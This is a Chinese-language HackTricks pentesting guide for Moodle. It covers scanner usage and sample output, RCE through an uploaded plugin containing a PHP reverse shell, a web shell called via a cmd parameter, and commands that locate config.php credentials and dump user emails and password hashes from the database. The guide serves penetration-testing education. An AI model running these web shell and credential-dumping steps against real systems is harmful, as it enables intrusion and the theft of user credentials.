hacktricks/network-services-pentesting/pentesting-web/moodle.md

5.8 KiB
Raw Blame History

Moodle

从零到英雄学习AWS黑客技术参加 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

如果您对黑客职业感兴趣,并且想要黑入不可黑的系统 - 我们正在招聘!需要流利的波兰语书写和口语)。

{% embed url="https://www.stmcyber.com/careers" %}

自动扫描

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

我发现自动化工具在发现影响moodle版本的漏洞方面几乎无用。你可以在https://snyk.io/vuln/composer:moodle%2Fmoodle检查它们。

RCE

你需要拥有管理员角色,并且可以在**"网站管理"标签下安装插件**

如果你是管理员,你可能仍需要激活这个选项。你可以在moodle权限提升PoC中看到如何操作https://github.com/HoangKien1020/CVE-2020-14321

然后,你可以安装以下插件它包含了经典的pentest-monkey php rev shell在上传之前你需要解压它更改revshell的IP和端口然后再次压缩它

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

或者你可以使用https://github.com/HoangKien1020/Moodle_RCE中的插件来获取一个带有"cmd"参数的常规PHP shell。

要访问并启动恶意插件,你需要访问:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

查找数据库凭证

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

从数据库中转储凭证

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

如果您对黑客职业感兴趣,并且想要黑进那些不可黑的系统 - 我们正在招聘!需要流利的波兰语书写和口语)。

{% embed url="https://www.stmcyber.com/careers" %}

从零开始学习AWS黑客技术成为 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式